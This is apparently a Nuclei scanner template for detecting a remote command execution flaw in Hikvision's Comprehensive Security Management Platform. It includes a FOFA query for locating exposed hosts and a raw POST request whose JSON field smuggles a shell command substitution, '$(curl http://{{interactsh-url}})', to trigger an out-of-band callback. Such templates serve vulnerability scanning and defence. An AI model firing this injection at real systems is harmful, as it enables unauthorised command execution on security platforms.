id: hikvision-csmp-installation-rce

info:
  name: Hikvision Comprehensive Security Management Platform Installation RCE
  author: Co5mos
  severity: critical
  description: |
    Hikvision Comprehensive Security Management Platform historical versions have a remote command execution vulnerability due to insufficient validation of the installation detection interface. This allows remote attackers to execute arbitrary commands.
  metadata:
    fofa-query: app="HIKVISION-iSecure-Center"
  tags: rce, hikvision

http:
  - raw:
      - |
        @timeout: 10s
        POST /center/api/installation/detection;.js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type": "environment", "operate": "", "machines": {"id": "$(curl http://{{interactsh-url}})"}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"